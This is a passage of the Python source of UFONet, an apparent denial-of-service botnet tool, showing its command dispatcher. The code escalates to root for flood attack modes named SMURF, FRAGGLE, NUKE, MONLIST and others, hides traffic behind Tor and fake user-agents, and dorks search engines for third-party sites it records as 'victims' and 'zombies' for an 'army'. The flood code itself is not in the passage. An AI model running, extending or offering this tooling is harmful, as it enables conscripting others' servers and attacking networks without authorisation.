  305. print(error, "error")
  306. traceback.print_exc()
  307. def checkeuid(self):
  308. try:
  309. euid = os.geteuid()
  310. except:
  311. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  312. print("[AI] "+self.exit_msg+"\n")
  313. sys.exit(2) # return
  314. return euid
  315. def start_ship_engine(self):
  316. self.agents = [] # generating available user-agents
  317. f = open(self.agents_file)
  318. agents = f.readlines()
  319. f.close()
  320. for agent in agents:
  321. self.agents.append(agent)
  322. self.user_agent = random.choice(self.agents).strip()
  323. self.search_engines = [] # available dorking search engines
  324. self.search_engines.append('bing') # [13/07/2021: OK!]
  325. self.search_engines.append('yahoo') # [13/07/2021: OK!]
  326. self.search_engines.append('duck') # [13/07/2021: OK!]
  327. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  328. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  329. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  330. if not os.path.exists("core/json/"): # create gui json cfg files folder
  331. os.mkdir("core/json/")
  332. self.banner_welcome()
  333. self.update_flying_stats() # update flying time stats
  334. chargo = self.check_mothership_chargo() # check mothership chargo
  335. self.update_max_chargo(int(chargo)) # update max chargo stats
  336. self.generate_exit_msg() # generate random exit msg
  337. def hmac_sha1(self, key, msg):
  338. if len(key) > 20:
  339. key = sha1(key).digest()
  340. key += chr(0).encode('utf-8') * (20 - len(key))
  341. o_key_pad = key.translate(self.trans_5C)
  342. i_key_pad = key.translate(self.trans_36)
  343. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  344. def derive_keys(self, key):
  345. key = key.encode('utf-8')
  346. h = sha256()
  347. h.update(key)
  348. h.update('cipher'.encode('utf-8'))
  349. cipher_key = h.digest()
  350. h = sha256()
  351. h.update(key)
  352. h.update('mac'.encode('utf-8'))
  353. mac_key = h.digest()
  354. return (cipher_key, mac_key)
  355. def decrypt(self, key, text):
  356. KEY_SIZE = 32
  357. BLOCK_SIZE = 16
  358. MAC_SIZE = 20
  359. mode = AES.MODE_CFB
  360. try:
  361. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  362. except:
  363. try:
  364. padding = len(text) % 4
  365. if padding == 1:
  366. return ''
  367. elif padding == 2:
  368. text += b'=='
  369. elif padding == 3:
  370. text += b'='
  371. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  372. except TypeError:
  373. return None
  374. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  375. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  376. mac = iv_ciphertext_mac[-MAC_SIZE:]
  377. (cipher_key, mac_key) = self.derive_keys(key)
  378. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  379. if mac != expected_mac:
  380. return None
  381. aes = AES.new(cipher_key, mode, iv)
  382. self.decryptedtext = aes.decrypt(ciphertext)
  383. try:
  384. self.decryptedtext = self.decryptedtext.decode('utf-8')
  385. except:
  386. pass
  387. def run(self, opts=None):
  388. if opts:
  389. self.create_options(opts)
  390. options = self.options
  391. # start threads
  392. if not self.options.threads:
  393. self.options.threads=5 # default number of threads
  394. self.sem = threading.Semaphore(self.options.threads)
  395. # start ship engine
  396. self.start_ship_engine()
  397. # check proxy options
  398. proxy = options.proxy
  399. if options.proxy:
  400. try:
  401. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  402. m = re.search(pattern, proxy)
  403. if m is None:
  404. self.banner()
  405. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  406. return
  407. else:
  408. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  409. except Exception:
  410. self.banner()
  411. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  412. return
  413. # check tor connection
  414. if options.checktor:
  415. url = self.check_tor_url # TOR status checking site
  416. self.banner()
  417. print("\nSending request to: " + url + "\n")
  418. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  419. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  420. try:
  421. if options.proxy: # set proxy
  422. self.proxy_transport(options.proxy)
  423. req = urllib.request.Request(url, None, headers)
  424. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  425. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  426. if not tor_reply or 'Congratulations' not in tor_reply:
  427. print("It seems that Tor is not properly set.\n")
  428. print(("IP address appears to be: " + your_ip + "\n"))
  429. else:
  430. print("Congratulations!. Tor is properly being used :-)\n")
  431. print(("IP address appears to be: " + your_ip + "\n"))
  432. except:
  433. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  434. sys.exit(2) # return
  435. # run AES256+HMAC-SHA1 enc/dec tool
  436. if options.cryptomsg:
  437. from core.tools.crypter import Cipher
  438. print(" " + '='*44)
  439. print(" ")
  440. print(" ____...------------...____ ")
  441. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  442. print(" .' / / \ \ '. ")
  443. print(" |=====/o/======================\o\=====| ")
  444. print(" |____/_/________..____..________\_\____| ")
  445. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  446. print(" \__/_____\####/0213411543/####/_____\__/ ")
  447. print(" |===\!/========================\!/===| ")
  448. print(" | |=| .---. |=| | ")
  449. print(" |===|o|=========/ \========|o|===| ")
  450. print(" | | | \() ()/ | | | ")
  451. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  452. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  453. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  454. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  455. print(" '''''''''''''''''''''''''''''''''''''' ")
  456. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  457. print(" (140 plain text chars = 69 encrypted chars)\n")
  458. print(" " + '='*44 + "\n")
  459. text = str(input("-> Enter TEXT: "))
  460. input_key = str(input("\n-> Enter KEY: "))
  461. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  462. c = Cipher(key, text)
  463. msg = c.encrypt()
  464. msg = msg.decode('utf-8')
  465. c.set_text(msg)
  466. print("\n" + " " + '-'*44)
  467. print('\n-> Ciphertext: [', msg, ']')
  468. print('\n-> Length:', len(msg))
  469. print("\n" + " " + '-'*44)
  470. print('\n-> Key (share it using SNEAKNET!):', input_key)
  471. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  472. # run shownet tool
  473. if options.shownet:
  474. hex_mac = self.show_mac_address()
  475. self.banner()
  476. print("-> Network Info:")
  477. print('='*44)
  478. print("-"*35)
  479. print("|- MAC Address :", hex_mac)
  480. print("|" +"-"*34)
  481. private_ip, public_ip = self.show_ips()
  482. print("|- IP Private :", private_ip)
  483. print("|" +"-"*34)
  484. t = urlparse(self.check_ip_service3)
  485. name_service = t.netloc
  486. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  487. print("-"*35)
  488. print('='*75, "\n")
  489. # run UFOSCAN tool (check EUID when running UFOSCAN)
  490. if options.xray:
  491. euid = self.checkeuid()
  492. if euid != 0:
  493. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  494. try:
  495. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  496. os.execlpe('sudo', *args)
  497. except:
  498. pass # keep running
  499. else:
  500. if not options.xrayps:
  501. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  502. ports = options.xrayps
  503. try:
  504. portX, portY = ports.split('-')
  505. try:
  506. portX = int(portX)
  507. portY = int(portY)
  508. except:
  509. portX = 1
  510. portY = 1024
  511. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  512. except:
  513. portX = 1
  514. portY = 1024
  515. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  516. self.banner()
  517. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  518. print('='*22 + '\n')
  519. try:
  520. self.instance = UFOSCAN() # instance main class for scanning operations
  521. xray = self.instance.scanning(options.xray, portX, portY)
  522. except Exception as e:
  523. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  524. if DEBUG == True:
  525. traceback.print_exc()
  526. return
  527. # show code timeline
  528. if options.timeline:
  529. f = open(self.timeline_file, 'r')
  530. releases = f.readlines()
  531. f.close()
  532. self.banner()
  533. print("-> Code timeline:")
  534. print('='*44)
  535. print("-"*35)
  536. for r in releases:
  537. print(r.strip('\n'))
  538. print("-"*35)
  539. print('='*75, "\n")
  540. # print some examples
  541. if options.examples:
  542. f = open(self.examples_file, 'r')
  543. examples = f.readlines()
  544. f.close()
  545. self.banner()
  546. for e in examples:
  547. print(e.strip('\n'))
  548. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  549. if options.ufosyn:
  550. euid = self.checkeuid()
  551. if euid != 0:
  552. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  553. try:
  554. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  555. os.execlpe('sudo', *args)
  556. except:
  557. pass # keep running, but UFOSYN will fail
  558. # check EUID when running SPRAY (root required)
  559. if options.spray:
  560. euid = self.checkeuid()
  561. if euid != 0:
  562. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  563. try:
  564. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  565. os.execlpe('sudo', *args)
  566. except:
  567. pass # keep running, but SPRAY will fail
  568. # check EUID when running SMURF (root required)
  569. if options.smurf:
  570. euid = self.checkeuid()
  571. if euid != 0:
  572. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  573. try:
  574. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  575. os.execlpe('sudo', *args)
  576. except:
  577. pass # keep running, but SMURF will fail
  578. # check EUID when running FRAGGLE (root required)
  579. if options.fraggle:
  580. euid = self.checkeuid()
  581. if euid != 0:
  582. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  583. try:
  584. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  585. os.execlpe('sudo', *args)
  586. except:
  587. pass # keep running, but FRAGGLE will fail
  588. # check EUID when running XMAS (root required)
  589. if options.xmas:
  590. euid = self.checkeuid()
  591. if euid != 0:
  592. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  593. try:
  594. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  595. os.execlpe('sudo', *args)
  596. except:
  597. pass # keep running, but XMAS will fail
  598. # check EUID when running UFOACK (root required)
  599. if options.ufoack:
  600. euid = self.checkeuid()
  601. if euid != 0:
  602. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  603. try:
  604. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  605. os.execlpe('sudo', *args)
  606. except:
  607. pass # keep running, but UFOACK will fail
  608. # check EUID when running UFORST (root required)
  609. if options.uforst:
  610. euid = self.checkeuid()
  611. if euid != 0:
  612. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  613. try:
  614. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  615. os.execlpe('sudo', *args)
  616. except:
  617. pass # keep running, but UFORST will fail
  618. # check EUID when running DROPER (root required)
  619. if options.droper:
  620. euid = self.checkeuid()
  621. if euid != 0:
  622. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  623. try:
  624. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  625. os.execlpe('sudo', *args)
  626. except:
  627. pass # keep running, but DROPER will fail
  628. # check EUID when running OVERLAP (root required)
  629. if options.overlap:
  630. euid = self.checkeuid()
  631. if euid != 0:
  632. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  633. try:
  634. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  635. os.execlpe('sudo', *args)
  636. except:
  637. pass # keep running, but OVERLAP will fail
  638. # check EUID when running PINGER (root required)
  639. if options.pinger:
  640. euid = self.checkeuid()
  641. if euid != 0:
  642. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  643. try:
  644. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  645. os.execlpe('sudo', *args)
  646. except:
  647. pass # keep running, but PINGER will fail
  648. # check EUID when running UFOUDP (root required)
  649. if options.ufoudp:
  650. euid = self.checkeuid()
  651. if euid != 0:
  652. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  653. try:
  654. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  655. os.execlpe('sudo', *args)
  656. except:
  657. pass # keep running, but UFOUDP will fail
  658. # check EUID when running NUKE (root required)
  659. if options.nuke:
  660. euid = self.checkeuid()
  661. if euid != 0:
  662. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  663. try:
  664. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  665. os.execlpe('sudo', *args)
  666. except:
  667. pass # keep running, but NUKE will fail
  668. # check EUID when running TACHYON (root required)
  669. if options.tachyon:
  670. euid = self.checkeuid()
  671. if euid != 0:
  672. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  673. try:
  674. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  675. os.execlpe('sudo', *args)
  676. except:
  677. pass # keep running, but TACHYON will fail
  678. # check EUID when running MONLIST (root required)
  679. if options.monlist:
  680. euid = self.checkeuid()
  681. if euid != 0:
  682. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  683. try:
  684. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  685. os.execlpe('sudo', *args)
  686. except:
  687. pass # keep running, but MONLIST will fail
  688. # check EUID when running SNIPER (root required)
  689. if options.sniper:
  690. euid = self.checkeuid()
  691. if euid != 0:
  692. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  693. try:
  694. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  695. os.execlpe('sudo', *args)
  696. except:
  697. pass # keep running, but SNIPER will fail
  698. # search for [Zombies] on search engines results (dorking)
  699. if options.search:
  700. zombies = []
  701. if options.engine:
  702. engine = options.engine
  703. else:
  704. engine = "duck" # default search engine
  705. try:
  706. self.banner()
  707. if not os.path.exists(self.humans_file) == True:
  708. f = open(self.humans_file, 'w')
  709. f.close()
  710. lf = open(self.humans_file, 'r')
  711. restored = lf.readlines()
  712. zombies_restored = len(restored)
  713. lf.close()
  714. lz = open(self.zombies_file, 'r')
  715. zombies_army = lz.readlines()
  716. for zombie in zombies_army:
  717. zombies.append(zombie) # add zombies from army to the zombies pool
  718. lz.close()
  719. if len(restored) > 0:
  720. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  721. if not self.options.forceyes:
  722. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  723. print('-'*25)
  724. else:
  725. backup_reply = "Y"
  726. if backup_reply == "n" or backup_reply == "N":
  727. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  728. os.remove(self.humans_file)
  729. zombies_restored = 0 # flush zombies restored
  730. print('-'*25 + "\n")
  731. else:
  732. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  733. print('-'*25 + "\n")
  734. for zombie in restored:
  735. zombies.append(zombie) # add previous data to zombies pool
  736. if options.allengines:
  737. if options.ex_engine: # exclude some search engines manually
  738. exclude = options.ex_engine.split(",")
  739. for ex in exclude:
  740. ex = ex.lower()
  741. if ex in self.search_engines:
  742. if len(self.search_engines) == 1: # at least one should make it
  743. pass
  744. else:
  745. self.search_engines.remove(ex)
  746. for e in self.search_engines:
  747. engine = e
  748. print('='*44)
  749. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  750. print('='*44 + '\n')
  751. self.options.engine = engine
  752. try:
  753. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  754. if zombies_chain != None:
  755. for zombie in zombies_chain:
  756. if zombie not in zombies: # evade possible repetitions
  757. zombies.append(zombie)
  758. except:
  759. if zombies: # backup all new zombies found to file in case of exception
  760. for zombie in zombies:
  761. if zombie+os.linesep not in restored: # only append new zombies found
  762. with open(self.humans_file, "a") as f:
  763. f.write(str(zombie+os.linesep))
  764. else:
  765. if restored:
  766. print('='*44)
  767. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  768. print('='*44 + '\n')
  769. if restored: # from restored file
  770. try:
  771. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  772. if zombies_chain != None:
  773. for zombie in zombies_chain:
  774. if zombie not in zombies: # evade possible repetitions
  775. zombies.append(zombie)
  776. except:
  777. if zombies: # backup all new zombies found to file in case of exception
  778. for zombie in zombies:
  779. if zombie+os.linesep not in restored: # only append new zombies found
  780. with open(self.humans_file, "a") as f:
  781. f.write(str(zombie+os.linesep))
  782. else:
  783. try:
  784. zombies = self.search_zombies(dork='', zombies_found=zombies)
  785. except:
  786. if zombies: # backup all new zombies found to file in case of exception
  787. for zombie in zombies:
  788. if zombie+os.linesep not in restored: # only append new zombies found
  789. with open(self.humans_file, "a") as f:
  790. f.write(str(zombie+os.linesep))
  791. total_restored = zombies_restored
  792. new_zombies = 0 # new zombies counter
  793. f = open(self.zombies_file, 'r')
  794. zz = f.readlines()
  795. f.close()
  796. zombies_found = []
  797. for z in zombies:
  798. if z.endswith(os.linesep):
  799. z = z.replace(os.linesep, "")
  800. if z not in zz and z+os.linesep not in zz:
  801. new_zombies = new_zombies + 1
  802. zombies_found.append(z)
  803. print('='*62)
  804. print("\n- Victims found:", len(zombies_found), "\n")
  805. print(" - Restored:", total_restored)
  806. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  807. print('-'*32)
  808. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  809. print('='*62 + '\n')
  810. if len(zombies) > 0:
  811. if not self.options.forceyes:
  812. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  813. print('-'*25)
  814. else:
  815. check_backup_reply = "Y"
  816. if check_backup_reply == "n" or check_backup_reply == "N":
  817. if os.path.isfile(self.humans_file):
  818. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  819. print("\n[Info] [AI] Temporal data correctly removed...\n")
  820. else:
  821. with open(self.humans_file, "w") as f:
  822. for z in zombies_found:
  823. if z.endswith(os.linesep):
  824. z = z.replace(os.linesep, "")
  825. if z not in zz or z+os.linesep not in zz:
  826. f.write(z+os.linesep)
  827. f.close()
  828. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  829. print('-'*25 + "\n")
  830. if new_zombies and new_zombies > 0:
  831. if not self.options.forceyes:
  832. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  833. print('-'*25 + "\n")
  834. else:
  835. check_url_link_reply = "Y"
  836. if check_url_link_reply == "n" or check_url_link_reply == "N":
  837. print("[AI] "+self.exit_msg+"\n")
  838. pass
  839. else:
  840. print("\n" + '='*44)
  841. test = self.testing(zombies_found)
  842. else:
  843. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  844. except Exception:
  845. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  846. # search for [Zombies] from a list of [Dorks]
  847. if options.dorks:
  848. if options.engine:
  849. engine = options.engine
  850. else:
  851. engine = "duck" # default search engine
  852. try:
  853. dorks = self.extract_dorks()
  854. if not dorks:
  855. return
  856. zombies = []
  857. self.banner()
  858. if not os.path.exists(self.humans_file) == True:
  859. f = open(self.humans_file, 'w')
  860. f.close()
  861. lf = open(self.humans_file, 'r')
  862. restored = lf.readlines()
  863. zombies_restored = len(restored)
  864. lf.close()
  865. lz = open(self.zombies_file, 'r')
  866. zombies_army = lz.readlines()
  867. for zombie in zombies_army:
  868. zombies.append(zombie) # add zombies from army to the zombies pool
  869. lz.close()
  870. if len(restored) > 0:
  871. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  872. if not self.options.forceyes:
  873. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  874. print('-'*25)
  875. else:
  876. backup_reply = "Y"
  877. if backup_reply == "n" or backup_reply == "N":
  878. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  879. os.remove(self.humans_file)
  880. zombies_restored = 0 # flush zombies restored
  881. print('-'*25 + "\n")
  882. else:
  883. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  884. print('-'*25 + "\n")
  885. for zombie in restored:
  886. zombies.append(zombie) # add previous data to zombies pool
  887. total_restored = zombies_restored
  888. if options.allengines:
  889. if options.ex_engine: # exclude some search engines manually
  890. exclude = options.ex_engine.split(",")
  891. for ex in exclude:
  892. ex = ex.lower()
  893. if ex in self.search_engines:
  894. if len(self.search_engines) == 1: # at least one should make it
  895. pass
  896. else:
  897. self.search_engines.remove(ex)
  898. for e in self.search_engines:
  899. engine = e
  900. print('='*44)
  901. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  902. print('='*44 + '\n')
  903. self.options.engine = engine
  904. for dork in dorks:
  905. print('='*22)
  906. print("Dork:", dork)
  907. print('='*22 + '\n')
  908. try:
  909. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  910. for zombie in dorked_zombies:
  911. if zombie not in zombies: # evade repetitions for zombies found
  912. zombies.append(zombie)
  913. if zombie+os.linesep not in restored: # only append new zombies found
  914. with open(self.humans_file, "a") as f:
  915. f.write(str(zombie+os.linesep))
  916. f.close()
  917. except:
  918. if zombies: # backup new zombies found on exception
  919. for zombie in zombies:
  920. if zombie+os.linesep not in restored: # only append new zombies found
  921. with open(self.humans_file, "a") as f:
  922. f.write(str(zombie+os.linesep))
  923. f.close()
  924. else:
  925. if restored:
  926. print('='*44)
  927. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  928. print('='*44 + '\n')
  929. for dork in dorks:
  930. print('='*22)
  931. print("Dork:", dork)
  932. print('='*22 + '\n')
  933. try:
  934. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  935. if dorked_zombies != None:
  936. for zombie in dorked_zombies:
  937. if zombie not in zombies: # evade repetitions for zombies found
  938. zombies.append(zombie)
  939. except:
  940. if zombies: # backup new zombies found on exception
  941. for zombie in zombies:
  942. if zombie+os.linesep not in restored: # only append new zombies found
  943. with open(self.humans_file, "a") as f:
  944. f.write(str(zombie+os.linesep))
  945. f.close()
  946. new_zombies = 0 # new zombies counter
  947. f = open(self.zombies_file, 'r')
  948. zz = f.readlines()
  949. f.close()
  950. zombies_found = []
  951. for z in zombies:
  952. if z.endswith(os.linesep):
  953. z = z.replace(os.linesep, "")
  954. if z not in zz and z+os.linesep not in zz:
  955. new_zombies = new_zombies + 1
  956. zombies_found.append(z)
  957. print('='*62)
  958. print("\n- Victims found:", len(zombies_found), "\n")
  959. print(" - Restored:", total_restored)
  960. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  961. print('-'*32)
  962. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  963. print('='*62 + '\n')
  964. if len(zombies_found) > 0:
  965. if not self.options.forceyes:
  966. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  967. print('-'*25)
  968. else:
  969. check_backup_reply = "Y"
  970. if check_backup_reply == "n" or check_backup_reply == "N":
  971. if os.path.isfile(self.humans_file):
  972. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  973. print("\n[Info] [AI] Temporal data correctly removed...\n")
  974. else:
  975. with open(self.humans_file, "w") as f:
  976. for z in zombies_found:
  977. if z.endswith(os.linesep):
  978. z = z.replace(os.linesep, "")
  979. if z not in zz or z+os.linesep not in zz:
  980. f.write(z+os.linesep)
  981. f.close()
  982. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  983. print('-'*25 + "\n")
  984. if new_zombies and new_zombies > 0:
  985. if not self.options.forceyes:
  986. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  987. print('-'*25 + "\n")
  988. else:
  989. check_url_link_reply = "Y"
  990. if check_url_link_reply == "n" or check_url_link_reply == "N":
  991. print("[AI] "+self.exit_msg+"\n")
  992. pass
  993. else:
  994. print("\n" + '='*44)
  995. test = self.testing(zombies_found)
  996. else:
  997. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  998. except Exception:
  999. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1000. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1001. if options.autosearch:
  1002. try:
  1003. dorks = self.extract_dorks()
  1004. except:
  1005. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1006. return
  1007. engines_list = self.search_engines
  1008. stop_flag = False # use a flag to establish an end
  1009. try:
  1010. self.banner()
  1011. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1012. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1013. print('-'*25 + "\n")
  1014. zombies_found = []
  1015. lz = open(self.zombies_file, 'r')
  1016. zombies_army = lz.readlines()
  1017. for zombie in zombies_army:
  1018. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1019. lz.close()
  1020. if not os.path.exists(self.humans_file) == True:
  1021. f = open(self.humans_file, 'w')
  1022. f.close()
  1023. lf = open(self.humans_file, 'r')
  1024. restored = lf.readlines()
  1025. zombies_restored = len(restored)
  1026. lf.close()
  1027. if len(restored) > 0:
  1028. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1029. if not self.options.forceyes:
  1030. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1031. print('-'*25)
  1032. else:
  1033. backup_reply = "Y"
  1034. if backup_reply == "n" or backup_reply == "N":
  1035. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1036. os.remove(self.humans_file)
  1037. zombies_restored = 0 # flush zombies restored
  1038. print('-'*25 + "\n")
  1039. else:
  1040. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1041. print('-'*25 + "\n")
  1042. for zombie in restored:
  1043. zombies_found.append(zombie) # add previous data to zombies found pool
  1044. total_restored = zombies_restored
  1045. while stop_flag == False:
  1046. if not os.path.exists(self.humans_file) == True:
  1047. f = open(self.humans_file, 'w')
  1048. f.close()
  1049. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1050. restored = lf.readlines()
  1051. lf.close()
  1052. zombies_restored = len(restored)
  1053. for e in engines_list:
  1054. zombies_counter = 0 # use it also as (engine) flag
  1055. engine = e
  1056. self.options.engine = engine
  1057. print('='*44 + '\n')
  1058. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1059. print('='*44 + '\n')
  1060. for dork in dorks:
  1061. print('='*22)
  1062. print("Dork:", dork)
  1063. print('='*22 + '\n')
  1064. try:
  1065. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1066. for zombie in dorked_zombies:
  1067. if zombie not in zombies_found: # evade repetitions for zombies found
  1068. zombies_found.append(zombie)
  1069. if zombie+os.linesep not in restored: # only append new zombies found
  1070. with open(self.humans_file, "a") as f:
  1071. f.write(str(zombie+os.linesep))
  1072. f.close()
  1073. zombies_counter = zombies_counter + 1
  1074. except:
  1075. if zombies_found: # backup new zombies found on exception
  1076. for zombie in zombies_found:
  1077. if zombie+os.linesep not in restored: # only append new zombies found
  1078. with open(self.humans_file, "a") as f:
  1079. f.write(str(zombie+os.linesep))
  1080. f.close()
  1081. if zombies_counter == 0:
  1082. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1083. print('-'*25 + "\n")
  1084. engines_list.remove(engine) # remove not more results engine from search engines list
  1085. if not engines_list: # if search engines empty, call return-exit routine
  1086. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1087. print('-'*25 + "\n")
  1088. stop_flag = True # exit flag up
  1089. new_zombies = 0 # new zombies counter
  1090. f = open(self.zombies_file, 'r')
  1091. zz = f.readlines()
  1092. f.close()
  1093. all_zombies_found = []
  1094. for z in zombies_found:
  1095. if z.endswith(os.linesep):
  1096. z = z.replace(os.linesep, "")
  1097. if z not in zz and z+os.linesep not in zz:
  1098. new_zombies = new_zombies + 1
  1099. all_zombies_found.append(z)
  1100. print('='*62)
  1101. print("\n- Victims found:", len(all_zombies_found), "\n")
  1102. print(" - Restored:", total_restored)
  1103. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1104. print('-'*32)
  1105. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1106. print('='*62 + '\n')
  1107. if len(zombies_found) > 0:
  1108. if not self.options.forceyes:
  1109. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1110. print('-'*25)
  1111. else:
  1112. check_backup_reply = "Y"
  1113. if check_backup_reply == "n" or check_backup_reply == "N":
  1114. if os.path.isfile(self.humans_file):
  1115. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1116. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1117. else:
  1118. with open(self.humans_file, "w") as f:
  1119. for z in all_zombies_found:
